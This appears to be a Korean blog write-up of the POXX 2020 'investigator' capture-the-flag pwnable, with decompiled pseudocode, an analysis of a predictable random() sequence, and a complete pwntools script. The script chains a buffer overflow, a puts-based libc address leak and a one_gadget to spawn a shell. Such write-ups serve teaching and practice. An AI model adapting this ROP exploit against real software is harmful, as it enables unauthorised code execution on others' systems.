[POXX 2020] investigator
System/PWNABLE

[POXX 2020] investigator

728x90

checksec

- 64bit

- Partial RELRO

- No Canary

- NX

 

Analyze

Pseudo Code

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t v3; // eax
  const char *v4; // rdi
  int v6; // [rsp+18h] [rbp-8h]
  int v7; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = getuid();
  seteuid(v3);
  v7 = 0;
  puts("---------------------------------------------------");
  puts("####FIND####THE####VACCINE####\n####FIND####Infected####People####");
  v4 = "---------------------------------------------------\n";
  puts("---------------------------------------------------\n");
  while ( 2 )
  {
    v6 = menu(v4, 0LL);
    switch ( v6 )
    {
      case 1:
        current();
        goto LABEL_8;
      case 2:
        guess();
        goto LABEL_8;
      case 3:
        point();
        goto LABEL_8;
      case 4:
        v7 = vaccine();
        goto LABEL_8;
      case 5:
        return 0;
      default:
LABEL_8:
        v4 = (const char *)10;
        putchar(10);
        if ( m_count > 0 && v6 != 1 && !v7 )
          spread(10LL);
        if ( v7 != 1 && (m_count || c_count <= 0) )
        {
          if ( c_count <= 1 )
          {
            printf("There's no way.. we should wait...");
            return 0;
          }
          continue;
        }
        puts("BYEBYE COVID-19");
        reward("BYEBYE COVID-19");
        return 0;
    }
  }
}

바이너리 파일에서 유용하게 사용될 듯한 함수 목록들이다.

 

 

 

 

 

 

 

실행

몇 번 실행해보면 random()함수는 사용했지만 time()함수는 사용하지 않았기 때문에 결국 같은 숫자들이 반복되는 것을 알 수 있다.

 

- 백신 보유자를 정확히 가리켰을 때 reward()함수로 넘어가 exploit하기 쉬워짐을 알 수 있다.

- 백신 보유자는 0번이다.

- ROP chain을 만들어 exploit 할 수 있을 것이다!

 

Exploit

from pwn import *
from struct import *

context.log_level = 'debug'

p = process("./investigator")
elf = ELF('./investigator')
libc = elf.libc

#gdb.attach(p)
def point(num):
	p.sendlineafter(">> ", '3')
	p.sendlineafter("PICK one you think might be infected (0~8) >> ", str(num))

def vaccine(num):
	p.sendlineafter(">> ", '4')
	p.sendlineafter("Who has the vaccine? (0~8) >> ", str(num))

pop_rdi = 0x400c03
one_gadget = 0xf1207

sys_off = libc.symbols['read']
puts_plt = elf.plt['puts']
read_got = elf.got['read']
read_off = libc.symbols['read']

reward = elf.symbols['reward']
main = elf.symbols['main']

#start - vaccine
vaccine(0)

#paylaod - reward
pl = "A"*(0x30 + 8)
pl += p64(pop_rdi)
pl += p64(read_got)
pl += p64(puts_plt)
pl += p64(reward)

#gdb.attach(p)
p.recvuntil("ends.\n")
p.recvuntil(">> ")
p.send(pl)

read_add = u64(p.recvuntil("\x7f")[-6:].ljust(8, '\x00'))
libcbase = read_add - read_off
one_gadget += libcbase
pl = "A"*(0x30 + 8)
pl += p64(one_gadget)

p.recvuntil("ends.\n")
p.recvuntil(">> ")
p.send(pl)
p.interactive()

libcbase를 구하기 위해 read 함수의 주소를 이용해 leak하고 one gadget을 이용했다.

 

 

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] bof_basic  (1) 2021.01.22
[POXX 2020] tips  (0) 2021.01.19
[LOB] gremlin → cobolt  (4) 2021.01.15
[LOB] gate → gremlin  (2) 2021.01.14
[Dreamhack] house_of_force  (0) 2020.11.08